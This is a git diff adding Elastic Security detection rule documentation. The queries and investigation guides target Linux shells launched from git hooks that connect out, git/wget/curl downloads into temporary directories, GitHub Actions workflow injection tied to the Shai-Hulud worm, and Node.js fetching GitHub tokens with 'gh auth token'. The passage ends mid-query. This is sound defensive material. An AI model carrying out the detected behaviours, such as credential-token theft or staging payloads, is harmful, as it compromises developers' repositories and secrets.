optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "git" and process.args like ".git/hooks/*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not (process.name like "python*" and process.command_line like "*pip*") + ] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-repository-or-file-download-to-suspicious-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-repository-or-file-download-to-suspicious-directory.asciidoc new file mode 100644 index 0000000000..482925211e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-git-repository-or-file-download-to-suspicious-directory.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-git-repository-or-file-download-to-suspicious-directory]] +=== Git Repository or File Download to Suspicious Directory + +This rule detects the use of git to clone a repository or download files from GitHub using wget or curl, followed by the creation of files in suspicious directories such as /tmp, /var/tmp, or /dev/shm. This behavior may indicate an attempt to download a payload, exploit or tool. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Repository or File Download to Suspicious Directory* + + +Git, wget, and curl are essential tools for managing and transferring files in Linux environments. Adversaries exploit these tools to download malicious payloads into temporary directories like /tmp, /var/tmp, or /dev/shm, which are often overlooked. The detection rule identifies this behavior by monitoring for git clone commands or GitHub downloads followed by file creation in these directories, signaling potential threats. + + +*Possible investigation steps* + + +- Review the process details, including process.entity_id and process.name, to confirm the execution of git, wget, or curl commands and verify if they align with expected usage patterns. +- Examine the process.command_line field to identify the specific GitHub URL or repository being accessed, and assess whether it is known or potentially malicious. +- Check the file creation event details, focusing on the file.path to determine the exact location and nature of the files created in /tmp, /var/tmp, or /dev/shm directories. +- Investigate the host.id and host.os.type to gather additional context about the affected system, including its role and any recent changes or anomalies. +- Correlate the timing of the process start and file creation events to understand the sequence of actions and identify any potential patterns or anomalies. +- Consult threat intelligence sources to determine if the accessed GitHub repository or downloaded files are associated with known threats or malicious activity. + + +*False positive analysis* + + +- Development activities may trigger this rule when developers clone repositories or download files from GitHub into temporary directories for testing purposes. To manage this, create exceptions for specific user accounts or processes that are known to perform legitimate development tasks. +- Automated scripts or cron jobs that regularly update or download files from GitHub into temporary directories can also cause false positives. Identify these scripts and exclude their process IDs or command patterns from the rule. +- System maintenance tasks that involve downloading updates or patches into temporary directories might be flagged. Coordinate with system administrators to identify these tasks and whitelist the associated processes or directories. +- Security tools or monitoring solutions that download threat intelligence feeds or other data into temporary directories could be mistakenly identified. Verify these tools and exclude their activities from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further potential malicious activity and lateral movement within the network. +- Terminate any suspicious processes related to git, wget, or curl that are actively running and associated with the creation of files in the /tmp, /var/tmp, or /dev/shm directories. +- Conduct a thorough examination of the files created in these directories to identify and remove any malicious payloads or tools. +- Restore any compromised files or systems from clean backups to ensure the integrity of the affected system. +- Implement network monitoring to detect and block any unauthorized outbound connections to suspicious domains, particularly those related to GitHub or other code repositories. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems may be affected. +- Update endpoint protection and intrusion detection systems to enhance detection capabilities for similar threats, focusing on the specific indicators of compromise identified in this alert. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id, host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "git" and process.args == "clone") or + (process.name in ("wget", "curl") and process.command_line like~ "*github*") + ) and not ( + process.parent.name in ("git", "cmake") or + process.parent.args like "/root/.ansible/tmp/ansible*" + )] + [file where host.os.type == "linux" and event.type == "creation" and file.path like ("/tmp/*", "/var/tmp/*", "/dev/shm/*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-actions-unusual-bot-push-to-repository.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-actions-unusual-bot-push-to-repository.asciidoc new file mode 100644 index 0000000000..bf687aacf9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-actions-unusual-bot-push-to-repository.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-github-actions-unusual-bot-push-to-repository]] +=== GitHub Actions Unusual Bot Push to Repository + +Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents, such as injecting backdoor workflow files. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Threat: Supply Chain +* Rule Type: New Terms +* Platform: GitHub +* Domain: SaaS +* Service: GitHub Actions + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GitHub Actions Unusual Bot Push to Repository* + + +This rule detects when the GitHub Actions bot pushes to a repository where it hasn't pushed to in a certain time interval. While this can be +legitimate automation, it may also indicate a supply chain attack where malicious code executes during CI and attempts +to modify repository contents. + + +*Possible investigation steps* + + +- Review the `github.repo` field to identify the affected repository. +- Check recent workflow runs in the repository to identify which workflow triggered the push. +- Examine the repository's commit history to see what files were modified by the bot push. +- Look for newly added or modified files in `.github/workflows/` directory. +- Review the repository's dependencies for recently added or updated packages with preinstall/postinstall hooks. +- Check if the repository has legitimate automation that would explain bot pushes (Dependabot, Renovate, release automation). +- Correlate with `protected_branch.rejected_ref_update` events to see if workflow injection was blocked. +- Search for other repositories in the organization with similar suspicious activity. + + +*False positive analysis* + + +- Repositories with auto-commit workflows (formatting, changelog generation, version bumps) will trigger on first run. +- Dependabot or Renovate auto-merge configurations cause legitimate bot pushes. +- GitHub Pages deployment workflows may push to gh-pages branches. +- Release automation that updates version files or generates artifacts. + + +*Response and remediation* + + +- If the push is unexpected, immediately review the commit contents for malicious files. +- Check for suspicious workflow files (e.g., `discussion_*.yaml`, `formatter_*.yml`). +- Audit all dependencies in the affected repository for malicious packages. +- Rotate any secrets that may have been exposed during the workflow run. +- Enable branch protection rules to require PR reviews for all changes. +- Consider restricting GITHUB_TOKEN permissions in workflow files using `permissions:` key. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "github.audit" and + event.action: "git.push" and + user.name: "github-actions[bot]" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-actions-workflow-modification-blocked.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-actions-workflow-modification-blocked.asciidoc new file mode 100644 index 0000000000..12b4fd7bf0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-actions-workflow-modification-blocked.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-github-actions-workflow-modification-blocked]] +=== GitHub Actions Workflow Modification Blocked + +Detects when a GitHub Actions workflow attempts to create or modify workflow files in a protected branch but is blocked due to insufficient permissions. This behavior is indicative of a supply chain attack where a malicious package or compromised CI/CD pipeline attempts to inject persistent backdoor workflows into a repository. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Tactic: Execution +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: ES|QL +* Platform: GitHub +* Domain: SaaS +* Service: GitHub Actions + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GitHub Actions Workflow Modification Blocked* + + +This rule detects attempts to push workflow files to a GitHub repository from within a GitHub Actions workflow that are blocked by GitHub's security controls. This is a key indicator of supply chain attacks where malicious code attempts to establish persistence by injecting backdoor workflows. + + +*Possible investigation steps* + + +- Review the `github.repo` field to identify which repository was targeted. +- Examine the `github.actor_id` to determine if the action was triggered by a bot (`github-actions[bot]`) or a user account (PAT-based). +- Check recent workflow runs in the repository for suspicious activity, especially in jobs that run `npm install` or other package manager commands. +- Review the repository's dependencies for recently added or updated packages that may contain malicious preinstall/postinstall hooks. +- Examine the `github.reasons.message` field for details on which workflow file was being created or modified. +- Search for other repositories in the organization that may have the same malicious dependency. +- Review GitHub audit logs for successful workflow file modifications that may have occurred before protections were enabled. + + +*False positive analysis* + + +- Legitimate automation tools that manage workflow files may trigger this alert. Verify if the repository uses tools like Dependabot, Renovate, or custom automation that modifies workflows. +- CI/CD pipelines that intentionally update workflow files should use a PAT with the 'workflows' scope and be documented. + + +*Response and remediation* + + +- If this is a confirmed attack attempt, immediately audit all dependencies in the affected repository. +- Remove any suspicious packages and regenerate lock files. +- Rotate any secrets that may have been exposed during the CI run. +- Review and revoke any PATs that may have been compromised. +- Enable branch protection rules requiring pull request reviews for workflow file changes. +- Consider implementing CODEOWNERS for `.github/workflows/` directory. +- Search for indicators of compromise such as unexpected workflow files (e.g., `discussion_*.yaml`, `formatter_*.yml`). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + event.action == "protected_branch.rejected_ref_update" and + github.category == "protected_branch" and + github.reasons.code == "workflow_updates" and + match(github.reasons.message::STRING, "refusing to allow a GitHub App to create or update workflow") +| keep * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc new file mode 100644 index 0000000000..4d95d0e86b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc @@ -0,0 +1,109 @@ +[[prebuilt-rule-8-19-34-github-activity-on-a-private-repository-from-an-unusual-ip]] +=== Github Activity on a Private Repository from an Unusual IP + +Detects when there is activity on a private GitHub repository from an unusual IP address. Adversaries may access private repositories from unfamiliar IPs to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Supply Chain +* Rule Type: New Terms +* Platform: GitHub +* Domain: SaaS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"github.audit" and event.action:("git.push" or "git.clone") and github.repository_public:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-app-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-app-deleted.asciidoc new file mode 100644 index 0000000000..3832485899 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-app-deleted.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-github-app-deleted]] +=== GitHub App Deleted + +Detects the deletion of a GitHub app either from a repo or an organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub App Deleted* + + +GitHub Apps are integrations that extend GitHub's functionality, often used to automate workflows or manage repositories. Adversaries might delete these apps to disrupt operations or remove security controls. The detection rule monitors audit logs for app deletions, flagging potential unauthorized actions. By focusing on specific event types and categories, it helps identify suspicious deletions that could indicate malicious activity. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event type "deletion" within the "integration_installation" category to identify the exact GitHub app that was deleted. +- Determine the user or account responsible for the deletion by examining the associated user information in the audit logs. +- Check the timing of the deletion event to see if it coincides with any other suspicious activities or anomalies in the repository or organization. +- Investigate the role and permissions of the user who performed the deletion to assess if they had legitimate access and authorization to delete the app. +- Look into the history of the deleted GitHub app to understand its purpose, usage, and any dependencies it might have had within the organization or repository. +- Communicate with the team or organization members to verify if the deletion was intentional and authorized, or if it was unexpected and potentially malicious. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger app deletions. Verify with the team responsible for GitHub app management to confirm if the deletion was planned. +- Automated scripts or tools used for managing GitHub apps might inadvertently delete apps during updates or reconfigurations. Review the scripts and ensure they have proper safeguards to prevent accidental deletions. +- Organizational policy changes might lead to the removal of certain apps. Check if there have been recent policy updates that could explain the deletion. +- Exclude specific users or service accounts known to perform legitimate app deletions regularly by creating exceptions in the detection rule. +- Monitor for patterns of deletions that align with scheduled maintenance windows and adjust the rule to ignore these timeframes if they consistently result in false positives. + + +*Response and remediation* + + +- Immediately revoke any compromised credentials or tokens associated with the deleted GitHub app to prevent unauthorized access. +- Restore the deleted GitHub app from a backup or re-install it to ensure continuity of operations and security controls. +- Conduct a thorough review of recent changes and activities in the affected repositories or organization to identify any unauthorized actions or data alterations. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected repositories or organization to detect any further suspicious activities or attempts to delete apps. +- Review and tighten permissions for GitHub apps to ensure only authorized personnel have the ability to delete or modify app installations. +- Escalate the incident to higher-level security management if there is evidence of a broader compromise or if the deletion is part of a larger attack campaign. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and github.category == "integration_installation" and event.type == "deletion" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-authentication-token-access-via-node-js.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-authentication-token-access-via-node-js.asciidoc new file mode 100644 index 0000000000..13ae0a5be6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-github-authentication-token-access-via-node-js.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-github-authentication-token-access-via-node-js]] +=== GitHub Authentication Token Access via Node.js + +This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2", "exec_event") and process.parent.name == "node" and +process.name in 